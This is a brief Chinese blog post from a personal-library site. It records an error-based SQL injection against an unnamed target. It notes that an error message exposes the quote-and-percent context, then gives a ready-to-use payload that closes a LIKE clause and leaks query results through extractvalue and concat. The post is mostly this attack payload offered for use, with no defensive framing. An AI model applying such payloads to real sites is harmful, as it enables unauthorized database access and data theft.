logo
搜索
我的图书馆

发文章

发文工具

其他工具

留言交流
搜索
分享

某SQL注入--报错注入payload

 悦光阴 2022-12-19 发布于北京

1、证明存在sql注入，根据这个报错语句，，有'  有%

 

 

 

 

 2、payload  闭合语句

%' or (select extractvalue("anything",concat('~',( sql语句)))) or title like '% 1

 

    本站是提供个人知识管理的网络存储空间，所有内容均由用户发布，不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息，谨防诈骗。如发现有害或侵权内容，请点击一键举报。
    转藏 分享 献花（0）

    来自： 悦光阴 > 《待分类》

    举报/认领

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多